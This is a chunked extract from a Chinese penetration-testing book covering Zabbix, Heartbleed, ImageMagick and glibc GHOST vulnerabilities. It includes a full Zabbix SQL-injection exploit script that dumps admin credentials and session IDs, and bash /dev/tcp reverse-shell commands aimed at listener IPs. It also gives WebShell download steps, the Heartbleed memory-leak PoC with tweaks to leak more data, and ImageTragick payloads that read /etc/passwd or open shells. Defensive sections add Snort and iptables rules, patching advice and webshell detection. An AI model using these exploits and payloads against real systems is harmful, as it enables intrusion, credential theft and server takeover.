    {"text": "if (CProfile::isModified()) { DBstart(); 523 网络攻防实战研究：漏洞利用与提权 $result = CProfile::flush(); DBend($result); } 跟踪 flush 函数，具体如下。 public static function flush() { $result = false; if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) { $result = true; foreach (self::$insert as $idx => $profile) { foreach ($profile as $idx2 => $data) { $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2); } } ksort(self::$update); foreach (self::$update as $idx => $profile) { ksort($profile); foreach ($profile as $idx2 => $data) { $result &= self::updateDB($idx, $data['value'], $data['type'], $idx2); } } } return $result; } ... private static function insertDB($idx, $value, $type, $idx2) { $value_type = self::getFieldByType($type); $values = [ 'profileid' => get_dbid('profiles', 'profileid'), 'userid' => self::$userDetails['userid'], 'idx' => zbx_dbstr($idx), $value_type => zbx_dbstr($value), 'type' => $type, 'idx2' => $idx2 ]; //注入触发点 return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')'); } 至此，SQL 注入产生。"},
    {"text": "python Zabbix .py http://114.111.111.1:81 524 第 8 章 其他应用程序漏洞利用与提权 图 8-206 获取 Zabbix 管理员密码 将以下代码保存为 zabbix.py。"},
    {"text": "#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf_8 -*- # Date: 2016/8/18 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import urllib2 import sys, os import re def deteck_Sql(): u'检查是否存在 SQL 注入' payload = \"jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen. get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history. php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=& period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action =showlatest&filter=&filter_task=&mark_color=1\" try: response = urllib2.urlopen(url + payload, timeout=10).read() except Exception, msg: print msg else: key_reg = re.compile(r\"INSERT\\s*INTO\\s*profiles\") if key_reg.findall(response): return True def sql_Inject(sql): u'获取特定 sql 语句内容' payload = url + \"jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen. get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history. php&profileIdx=web.item.graph&profileIdx2=\" + urllib2.quote( sql) + \"&updateProfile=true&screenitemid=&period=3600&stime= 20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&fi lter_task=&mark_color=1\" try: response = urllib2.urlopen(payload, timeout=10).read() except Exception, msg: print msg else: result_reg = re.compile(r\"Duplicate\\s*entry\\s*'~(.+?)~1\") results = result_reg.findall(response) 525 网络攻防实战研究：漏洞利用与提权 if results: return results[0] if __name__ == '__main__': # os.system(['clear', 'cls'][os.name == 'nt']) print '+' + '-' * 60 + '+' print '\\t Python Zabbix<3.0.4 SQL 注入 Exploit' print '\\t Blog：http://www.waitalone.cn/' print '\\t\\t Code BY： 独自等待' print '\\t\\t Time：2016-08-18' print '+' + '-' * 60 + '+' if len(sys.argv) != 2: print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 网站地址' print ' 实 例 : ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/' sys.exit() url = sys.argv[1] if url[-1] != '/': url += '/' passwd_sql = \"(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema. tables group by x)a)\" session_sql = \"(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema. tables group by x)a)\" if deteck_Sql(): print u'Zabbix 存在 SQL 注入漏洞!\\n' print u'管理员 用户名密码：%s' % sql_Inject(passwd_sql) print u'管理员 Session_id：%s' % sql_Inject(session_sql) else: print u'Zabbix 不存在 SQL 注入漏洞!\\n' 8.17.3 漏洞实际利用方法探讨 对 Zabbix 漏洞的实际利用是指在获取管理员密码后，通过管理中心添加脚本，执行脚本命令来 获取反弹 Shell，通过 Shell 来提权或者执行其他操作。"},
    {"text": "2．创建脚本 登录系统后，单击“管理”→“脚本”→“创建脚本”选项（如果是英文版，则是“Administration” →“Scripts”→“Create Scripts”），如图 8-207 所示。"},
    {"text": "输入任意名称，例如“cat”，在命令文本框中 输入“bash -i >& /dev/tcp/122.11x.47.xx/4433 0>&1”，其中“122.11x.47.xx”为监听的拥有独立 IP 地 址的服务器。"},
    {"text": "526 第 8 章 其他应用程序漏洞利用与提权 图 8-207 创建反弹脚本 3．执行脚本命令 在执行脚本命令前，需要在监听服务器上使用“nc -vv -l -p 4433”命令监听 4433 端口。"},
    {"text": "监听完 毕，在 Zabbix 管理主界面单击“监测中”选项，然后单击主机列表下的服务器，在右键快捷菜单中 选择刚才创建的脚本，如图 8-208 所示。"},
    {"text": "图 8-208 执行命令 图 8-209 获取反弹的 Shell 4．查看配置文件并获取 WebShell 获取终端 Shell 后，可以通过“locate *.php”或者“find -name \".php\"”命令查找 PHP 文件的具 体位置。 到该目录后，如果可写，则通过“wget http://www.antian365.com/shell.txt”命令下载 WebShell 到本地，并执行“chmod +x shell.txt”命令，给 shell.txt 文件赋予可执行权限，最后将该文件重命名 为.php 文件。"},
    {"text": "图 8-210 获取 WebShell 527 网络攻防实战研究：漏洞利用与提权 如果网站当前用户权限为 root，可以通过 conf/Zabbix.conf 文件获取配置文件的内容。"},
    {"text": "图 8-211 读取配置文件内容 5．Linux 提权 在实际测试过程中，部分服务器采用 root 账号，绝大部分是 Zabbix 账号（也就是普通用户）。 对于 Linux 提权，需要查看其相应的内核版本或者应用程序是否存在漏洞，根据相应的漏洞进行编 译和执行。 如果存在漏洞，则可以获取 root 权限，反之则无法提权。"},
    {"text": "6．通过 sessionid 登录 开启 Tamper 插件，在抓到的包中修改 zbx_sessionid 值为 SQL 注入获取的 sessionid 值并提交， 即可进入后台，如图 8-212 和图 8-213 所示。"},
    {"text": "图 8-212 修改 zbx_sessionid 值 图 8-213 成功登录后台 8.17.4 Zabbix 服务器的安全检查 对于 Zabbix 服务器的安全检查，根据笔者的经验，可以从以下几个方面入手。"},
    {"text": "z 禁止 MySQL 外连：在实际测试过程中，很多 MySQL 服务器可以直接通过该服务器的独立 528 第 8 章 其他应用程序漏洞利用与提权 IP 地址进行连接，而这是非常危险的。"},
    {"text": "图 8-214 查看审计日志 8.17.5 漏洞修复方案 将当前版本升级到最新版本，补丁更新地址为 https://support.Zabbix .com/browse/ZBX-11023。"},
    {"text": "参考文章 z http://www.tuicool.com/articles/RNV3UbA z http://www.oschina.net/news/76236/Zabbix -sql?from=mail-notify z http://cxsecurity.com/issue/WLB-2016080120 8.18 OpenSSL“心脏出血”漏洞分析及利用 2014 年 4 月 7 日，互联网安全协议 OpenSSL 被曝存在一个十分严重的安全漏洞。"},
    {"text": "该漏洞最早的公布时间为 2014 年 4 月 7 日，Sean Cassidy 在其 Blog 上发表了 Existential Type Crisis: Diagnosis of the OpenSSL Heartbleed Bug （http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html）一文。"},
    {"text": "OpenSSL 的 Heartbleed 模块中存在一 个 Bug，当攻击者构造一个特殊的数据包时，如果用户心跳包无法提供足够的数据，会导致 memcpy 把 SSLv3 记录之后的数据直接输出。"},
    {"text": "int dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ 结构体 SSL3_RECORD 的定义如下。 typedef struct ssl3_record_st { int type; /* type of record */ unsigned int length; /* How many bytes available */ unsigned int off; /* read/write offset into 'buf' */ unsigned char *data; /* pointer to the record data */ unsigned char *input; /* where the decode bytes are */ unsigned char *comp; /* only used with decompression - malloc()ed */ unsigned long epoch; /* epoch number, needed by DTLS1 */ unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */ } SSL3_RECORD; 每条 SSLv3 记录中包含一个类型域（type）、一个长度域（length）和一个指向记录数据的指针 （data）。"},
    {"text": "unsigned char *buffer, *bp; int r; /* Allocate memory for the response, size is 1 byte * message type, plus 2 bytes payload length, plus * payload, plus padding */ buffer = OPENSSL_malloc(1 + 2 + payload + padding); bp = buffer; 所以，程序将分配一段由访问者指定的内存区域，这段内存区域最大为 65535+1+2+16 字节。"},
    {"text": "530 第 8 章 其他应用程序漏洞利用与提权 /* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload); 宏 s2n 与宏 n2s 的任务正好相反：宏 s2n 读入一个 16bit 的值，将它存储为双字节值，所以，宏 s2n 会将与请求的心跳包载荷长度相同的长度值存入变量 payload；"},
    {"text": "如果为空则服务端未返回数据，判断为没有该漏洞； 如果 为 21，则判断服务器报错，判断为没有漏洞； 如果为 24，则心跳包正常，继续判断返回数据长度是 否大于 3，如果大于 3，则说明返回了大量服务端越界访问的内存数据，判定存在该漏洞。"},
    {"text": "z http://s3.jspenguin.org/ssltest.py（python 脚本） z http://pan.baidu.com/s/1nt3BnVB（python 脚本） z https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py z https://raw.githubusercontent.com/decal/ssltest-stls/master/ssltest-stls.py 网上在线检测地址如下。 z http://possible.lv/tools/hb/ z http://filippo.io/Heartbleed/ 3．POC 代码 将以下代码保存为 ssltest.py 文件，POC 代码如下。"},
    {"text": "#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford 531 网络攻防实战研究：漏洞利用与提权 (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): 532 第 8 章 其他应用程序漏洞利用与提权 endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) 533 网络攻防实战研究：漏洞利用与提权 print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main() 4．测试方法 openssl.py / ssltest.py 用法为“python openssl.py ip/域名 -p 端口”。"},
    {"text": "hb = h2bin(''' 18 03 02 00 03 01 40 00 //将此处修改为“01 ff ff” ''') 将“for b in xrange(0，len(s)，16)”改成“for b in xrange(0，len(s)，64)”。"},
    {"text": "图 8-215 在线检测漏洞 图 8-216 kuaiyinpan.com 存在漏洞 2．通过 py 脚本检测 在 Linux 终端窗口中输入“pythonssltest.py 66.175.219.225 -p 443”命令，如图 8-217 所示，获取漏 洞提示信息“ver=0302”，表示该版本表示存在漏洞。"},
    {"text": "3．对存在漏洞的网站进行扫描 下载 NMap 的最新版本，在本地进行编译，或者使用命令“nmap --script-updatedb”进行更新， 或者使用命令“wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse”下载。"},
    {"text": "535 网络攻防实战研究：漏洞利用与提权 图 8-217 通过 py 脚本进行测试 图 8-218 扫描检测存在漏洞的服务器 4．通用 Snort 规则检测 由于 SSL 协议是加密的，且目前没有找到提取可匹配规则的方法，所以笔者尝试编写了一条基 于返回数据大小的检测规则，示例如下。"},
    {"text": "alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:\"openssl Heartbleed attack\";flow:to_server,established; content:\"|18 03|\"; depth: 3; byte_test:2, >, 200, 3, big; byte_test:2, <, 16385, 3, big; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:20140160; rev:2;) Snort 规则说明，此漏洞主要针对的是 SSL 协议，是针对心跳数据包前 4 字节中的“\\x18\\x03”， 而将数据包的第 5 个字节和第 6 个字节的数值按大尾模式转换成数值，在 200 和 16385 之间。"},
    {"text": "z OpenSSL 1.0.2-beta z OpenSSL 1.0.1 - OpenSSL 1.0.1f 不受影响的版本如下。 z OpenSSL 1.0.1g is NOT vulnerable z OpenSSL 1.0.0 branch is NOT vulnerable z OpenSSL 0.9.8 branch is NOT vulnerable 2．修复建议 首先，要升级 OpenSSL 软件。"},
    {"text": "要解决此漏洞，建议服务器管理员或使用 OpenSSL 1.0.1g，或使 用“-DOPENSSL_NO_HEARTBEATS”选项重新编译 OpenSSL，从而禁用易受攻击的功能，直至可 以更新服务器软件为止。"},
    {"text": "$ echo -e \"B\\n\" | openssl s_client -connect targetwebsite:443 -tlsextdebug 2>&1| grep 'heartbeart' 如果不能升级 OpenSSL，可以更新 IPTable 防火墙规则，示例如下。"},
    {"text": "536 第 8 章 其他应用程序漏洞利用与提权 t# Log rules iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \\ \"52=0x18030000:0x1803FFFF\" -j LOG --log-prefix \"BLOCKED: HEARTBEAT\" # Block rules iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \\\"52=0x18030000:0x1803FFFF\" -j DROP 3．CentOS 修复方法参考 （1）yum 方法安装 yum search openssl yum install openssl /etc/init.d/nginx restart #然后重启 Nginx （2）下载编译安装 wget http://www.openssl.org/source/openssl-1.0.1g.tar.gz cd openssl-1.0.1g ./config make && make install /etc/init.d/nginx restart #重启 Nginx 8.19 ImageMagick 远程执行漏洞分析及利用 ImageMagick 是一套功能强大、稳定的开源工具集和开发包，可以用来读、写和处理 89 种基本 格式的图片文件，包括流行的 TIFF、JPEG、GIF、PNG、PDF 及 PhotoCD 等格式。"},
    {"text": "利用 ImageMagick， 可以根据 Web 应用程序的需要动态生成图片，还可以对一幅（或一组）图片进行改变大小、旋转、 锐化、减色或增加特效等操作，并将操作的结果以相同格式或其他格式保存。"},
    {"text": "537 网络攻防实战研究：漏洞利用与提权 2．安装步骤 在 CentOS 中默认安装了 ImageMagick 6.2.8，本次安装其 6.7.7-10 版本，命令如下。 yum remove ImageMagick wget http://www.imagemagick.org/download/releases/ImageMagick-6.5.7-10.tar.xz tar xvJf ImageMagick-6.5.7-10.tar.xz cd ImageMagick-6.5.7-10 ./configure make make install 注意 tar.xz 文件需要先使用 7zip 解压为 tar 文件，再使用“tar -zxvf”命令解压。"},
    {"text": "3．生成反弹 Shell 的 PNG 文件 先构建一幅精心准备的图片，将以下内容保存为 sh.png，其中“122.115.4x.3x”为反弹到监听端 口的服务器 IP 地址，监听端口为 4433。 push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg\"|bash -i >& /dev/tcp/122.115.4x.3x/4433 0>&1\")' 4．执行命令 在执行命令前，需要在反弹服务器上执行“nc -vv -l -p 4433”命令。 执行“convert sh.png 1.png” 命令后，直到反弹 Shell 退出以后终端才会有反应，如图 8-219 所示。 图 8-219 执行 convert 命令 5．获取反弹 Shell 执行 convert 命令后，会根据网络情况在监听服务器上延迟数秒，如图 8-220 所示，直接获取反 弹 WebShell。"},
    {"text": "538 第 8 章 其他应用程序漏洞利用与提权 图 8-220 获取反弹 WebShell 图 8-221 显示错误信息 8.19.3 总结与思考 1．本地漏洞存在 exp 测试 （1）构建 exp.png push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg\"|id & cat /etc/passwd\")' pop graphic-context （2）通过执行 exp 获取 id 和查看 passwd 文件 在终端模式下执行“convert exp.png 1.png”命令后，会显示 ID 和 passwd 中的内容，如图 8-222 所示，说明漏洞存在。 图 8-222 执行 exp 检测漏洞 2．利用 ImageMagick 漏洞绕过 disable_function 将以下代码保存为 exp.php。 <?php echo \"Disable Functions: \" . ini_get('disable_functions') . \"\\n\"; 539 网络攻防实战研究：漏洞利用与提权 $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd']; if ($command == '') { $command = 'id'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg\"|$command\")' pop graphic-context EOF; file_put_contents(\"KKKK.mvg\", $exploit); $thumb = new Imagick(); $thumb->readImage('KKKK.mvg'); $thumb->writeImage('KKKK.png'); $thumb->clear(); $thumb->destroy(); unlink(\"KKKK.mvg\"); unlink(\"KKKK.png\"); ?> 8.19.4 防范方法 目前官方的最新修复补丁还未发布，所以暂时建议实施以下两种预防策略。"},
    {"text": "<policymap> <policy domain=\"codeer\" rights=\"none\" pattern=\"EPHEMERAL\" /> <policy domain=\"codeer\" rights=\"none\" pattern=\"URL\" /> <policy domain=\"codeer\" rights=\"none\" pattern=\"HTTPS\" /> <policy domain=\"codeer\" rights=\"none\" pattern=\"MVG\" /> <policy domain=\"codeer\" rights=\"none\" pattern=\"MSL\" /> </policymap> 8.20 Linux glibc 幽灵漏洞的测试与修复 2015 年 1 月 28 日，互联网上爆出了 Linux glibc 幽灵漏洞（glibc gethostbyname buffer overflow， http://seclists.org/oss-sec/2015/q1/274），也有人将其称为“20150127 GHOST gethostbyname() heap overflow in glibc”，漏洞编号是 CVE-2015-0235。"},
    {"text": "540 第 8 章 其他应用程序漏洞利用与提权 glibc 是 GNU 发布的 libc 库，即 C 运行库。 glibc 是 Linux 系统中最底层的 API，几乎任何运行 库都会依赖 glibc。"},
    {"text": "受 glibc-2.2 影响的 GNU C 函数的最早版本是在 2000 年 11 月发布的，这一漏洞曾在 2013 年 5 月被修补（在 glibc-2.17 和 glibc-2.18 版本之间）。"},
    {"text": "但由于当时没有被认定为安全威胁，包括 Debian 7、 Red Hat Enterprise Linux 6/7、CentOS 5/6/7 和 Ubuntu 12.04 在内的多数知名 Linux 版本在长达一年半 的时间内都没有修补幽灵漏洞。"},
    {"text": "z RHEL（Red Hat Enterprise Linux）version 5.x/6.x/7.x z CentOS Linux 5.x/6.x/7.x z Ubuntu Linux version 10.04/12.04 LTS z Debian Linux version 7.x z Linux Mint version 13.0 z Fedora Linux version 19 y anteriores z SUSE Linux Enterprise 11 y anteriores z Arch Linux glibc version <= 2.18-1 据 360 安全公司的研究人员分析，Linux glibc 幽灵漏洞最容易攻击的是邮件服务器和存在 SSRF （Server-side Request Forgery）漏洞的 Web 接口。"},
    {"text": "8.20.1 Linux glibc 幽灵漏洞测试方法 1．Ubuntu 和 Debian 上的检查 ldd –version （1）Ubuntu 受影响版本（https://launchpad.net/ubuntu/+source/eglibc） z Ubuntu 12.04 LTS: 2.15-0ubuntu10.10 z Ubuntu 10.04 LTS: 2.11.1-0ubuntu7.20 （2）Debian gibc 受影响版本（https://security-tracker.debian.org/tracker/CVE-2015-0235） z Debian 7 LTS: 2.13-38+deb7u7 等 z eglibc (PTS) squeeze 2.11.3-4 vulnerable z eglibc wheezy 2.13-38+deb7u6 vulnerable （3）Debian gibc 已经修复版本 z squeeze (lts)2.11.3-4+deb6u4 z wheezy (security)2.13-38+deb7u7 2．CentOS 和 RHEL 上的检查 如图 8-223 所示，在 CentOS 上执行“rpm -q glibc”命令，可以看到显示 glibc 的版本信息为 541 网络攻防实战研究：漏洞利用与提权 glibc-2.5-118.el5_10.2。"},
    {"text": "z CentOS 5:glibc-2.5-118.el5_10.2 z CentOS 6: glibc-2.12-1.149.el6_6.5 z CentOS 7: glibc-2.17-55.el7_0.5 z RHEL 5: glibc-2.5-123.el5_11.1 z RHEL 6: glibc-2.12-1.149.el6_6.5 z RHEL 7: glibc-2.17-55.el7_0.5 要想获取 RHEL 各个版本的更多有关该漏洞的信息，可访问 https://security-tracker.debian.org/ tracker/CVE-2015-0235。"},
    {"text": "8.20.2 POC 验证测试 把下面的代码保存为 ghost.c 或者 wget http://www.antian365.com/lab/linux0day/ghost.c。 /* * GHOST vulnerability check * http://www.antian365.com/lab/linux0day/ghost.c * Usage: gcc ghost.c -o ghost && ./ ghost */ #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define CANARY \"in_the_coal_mine\" struct { char buffer[1024]; char canary[sizeof(CANARY)]; } temp = { \"buffer\", CANARY }; int main(void) { struct hostent resbuf; struct hostent *result; 542 第 8 章 其他应用程序漏洞利用与提权 int herrno; int retval; /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) { puts(\"vulnerable\"); exit(EXIT_SUCCESS); } if (retval == ERANGE) { puts(\"not vulnerable\"); exit(EXIT_SUCCESS); } puts(\"should not happen\"); exit(EXIT_FAILURE); } 直接编译并执行“gcc ghost.c -o ghost && ./ghost”命令，如果存在漏洞，则会显示“vulnerable”， 如图 8-224 所示。"},
    {"text": "rpm -q glibc cat /etc/issue wget http://www.antian365.com/lab/linux0day/ghost.c gcc ghost.c -o ghost && ./ghost 543 网络攻防实战研究：漏洞利用与提权 直接显示 glibc 的版本信息，命令如下。 wget -O GHOST-test.sh http://www.antian365.com/lab/linux0day/GHOST-test.sh.txt bash GHOST-test.sh 显示结果如下。 Vulnerable glibc version <= 2.17-54 Vulnerable glibc version <= 2.5-122 Vulnerable glibc version <= 2.12-1.148 Detected glibc version 2.5 revision 118 This system is vulnerable to CVE-2015-0235. <https://access.redhat.com/ security/cve/CVE-2015-0235> Please refer to <https://access.redhat.com/articles/1332213> for remediation steps 8.20.3 修复方法 1．Ubuntu/Debian 在 Ubuntu/Debian 上执行以下命令进行修复，修复后需要重启。 apt-get update && apt-get -y install libc6 2．CentOS 在 CentOS 上执行“yum update glibc”命令后，会有一个确认过程。 输入“y”，会下载 6 个安装 包，安装完成后需要重启计算机。"},
    {"text": "参考资料 z 360 安全播报：http://bobao.360.cn/news/detail/1166.html z 国家漏洞库：http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-0235 z http://seclists.org/oss-sec/2015/q1/274 z https://www.digitalocean.com/community/tutorials/how-to-protect-your-linux-server-against-the-g host-vulnerability 544 第 9 章 Windows 及 Linux 安全防范 在网络攻防的整个过程中，安全防范非常重要，攻击方需要隐藏自己的 IP 地址、消除痕迹、防 止被发现，而防守方则关注如何加固，使自己的系统更加安全，可以说，牢不可破是终极目标。"},
    {"text": "本章主要内容 Ê 网站挂马的检测与清除 Ê 巧用 MBSA 检查和加固个人计算机 Ê 使用冰刀、Antorun、CurrPorts 等工具进行安全检查 Ê 巧用事件查看器维护服务器安全 Ê 使用防火墙和杀毒软件进行安全检查 Ê 手工清除病毒 Ê 计算机网络入侵安全检查研究 Ê 实战个人计算机网络安全检查 Ê 移动存储设备安全隐患及其防范对策 Ê 电子邮件社会工程学攻击防范研究 Ê SQL 注入攻击技术及其防范研究 Ê Windows 系统克隆用户攻击与防范 Ê 操作系统密码安全设置 Ê 使用 chkrootkit 和 rkhunter 检查 Linux 后门 Ê Windows 下 PHP+MySQL+IIS 安全配置 Ê Windows 下 PHP+MySQL+IIS 高级安全配置 网络攻防实战研究：漏洞利用与提权 9.1 网站挂马的检测与清除 据不完全统计，90%的网站都被挂过马。 挂马是指在获取网站或者网站服务器的部分或者全部 权限后，在网页文件中插入一段恶意代码，这些恶意代码主要是包括 IE 等漏洞在内的利用代码，用 户访问被挂马的页面时，如果系统没有更新恶意代码中利用的漏洞补丁，则会执行恶意代码程序， 进行盗号等危险操作。 目前，挂马主要是为了获取商业利益，有的是为了赚取流量，有的是为了盗取游戏账号，有的 是为了好玩。 不管出于哪种目的，对于访问被挂马的网站来说都是一种潜在的威胁，甚至会影响网 站所代表的公司的形象。 当一个网站运营很长时间后，网站文件会非常多，手工查看网页文件代码非常困难，杀毒软件 仅能对恶意代码进行查杀，对网页木马及挂马程序不一定能全部查杀。 本节就如何利用安全检测工 具软件来检测和清除网站木马进行探讨，使用本节介绍的工具可以轻松地检测网站是否被挂马。 9.1.1 检测网页木马程序 1．安装 URL Snooper URL Snooper 是一款 URL 嗅探工具，其官方主页为 http://www.donationcoder.com/urlsnooper，安 装步骤非常简单，按照提示进行安装即可。"},
    {"text": "第一次使用时程序会自动检测网卡，以确定能否正常连 接网络，设置无误后，应该出现如图 9-1 所示的界面。 图 9-1 正确安装后的界面 注意 如果未出现如图 9-1 所示的界面，说明程序设置存在问题。"},
    {"text": "2．对网站进行侦测 在 URL Snooper 的“Protocol Filter”下拉列表中选择“Show All”选项，单击“Sniff Network” 546 第 9 章 Windows 及 Linux 安全防范 按钮，开始监听网络。 接着，使用 IE 浏览器打开需要进行木马检测的网站，URL Snooper 会自动抓 取网站中的所有链接，在“Index”列中按照 5 位数字序号进行排列，如图 9-2 所示。"},
    {"text": "发现存在挂马代码“<script src=http://%61%76%65%31%2E%63%6E></script>”。 在百度中对其 进行搜索，如图 9-3 所示，有 30 多条搜索结果，可以辅助证明该段代码为挂马代码。"},
    {"text": "表 9-1 编码对应表 原 值 解码前的值 原 值 解码前的值 原 值 解码前的值 backspace %08 A %41 a %61 tab %09 B %42 b %62 linefeed %0A C %43 c %63 creturn %0D D %44 d %64 space %20 E %45 e %65 ! %21 F %46 f %66 \" %22 G %47 g %67 # %23 H %48 h %68 $ %24 I %49 i %69 % %25 J %4A j %6A & %26 K %4B k %6B ' %27 L %4C l %6C ( %28 M %4D m %6D ) %29 N %4E n %6E * %2A O %4F o %6F + %2B P %50 p %70 , %2C Q %51 q %71 - %2D R %52 r %72 . %2E S %53 s %73 / %2F T %54 t %74 0 %30 U %55 u %75 1 %31 V %56 v %76 2 %32 W %57 w %77 3 %33 X %58 x %78 4 %34 Y %59 y %79 5 %35 Z %5A z %7A 6 %36 [ %5B { %7B 7 %37 \\ %5C | %7C 8 %38 ] %5D } %7D 9 %39 ^ %5E < %3C : %3A _ %5F = %3D ; %3B ` %60 > %3E ? %3F @ %40 4．获取该网站的相关内容 可以使用 FlashGet 站点资源管理器获取该网站的内容。 如图 9-4 所示，打开 FlashGet，依次单击 548 第 9 章 Windows 及 Linux 安全防范 “工具”→“站点资源探索器”选项，打开站点资源探索器，在“地址”文本框中输入“http://ave1.cn/”， 然后按“回车”键，即可获取该网站的一些资源。 在 FlashGet 站点资源探索器中可以直接将看到的 文件下载到本地。 图 9-4 使用 FlashGet 站点资源探索器获取站点资源 说明 使用 FlashGet 站点资源探索器可以很方便地获取挂马代码地址中的一些资源，这些资源可能是 挂马的真实代码，通过这些代码可以知道挂马者采用的是哪个漏洞，有时还可以获取 0day 漏洞。"},
    {"text": "在本例中，由于挂马时间较长，挂马者已经撤销了原来的挂马程序文件，在该网站中获取的 HTML 文件没有用处，且有些文件已经不存在了，无法对源代码文件进行分析。"},
    {"text": "该 软件对目前绝大多数的后门均能进行查杀，是 Windows 下一款难得的 WebShell 检测工具。 通过该工 具找到后门文件后，可以对后门文件采取清除或者删除等操作。 图 9-5 使用 D 盾查杀 WebShell 549 网络攻防实战研究：漏洞利用与提权 9.1.2 清除网站中的恶意代码（挂马代码） 1．确定挂马文件 要想清除网站恶意代码，首先需要知道哪些文件被挂马了，判断方法有 3 个：一是直接查看代 码，从中找出挂马代码；"},
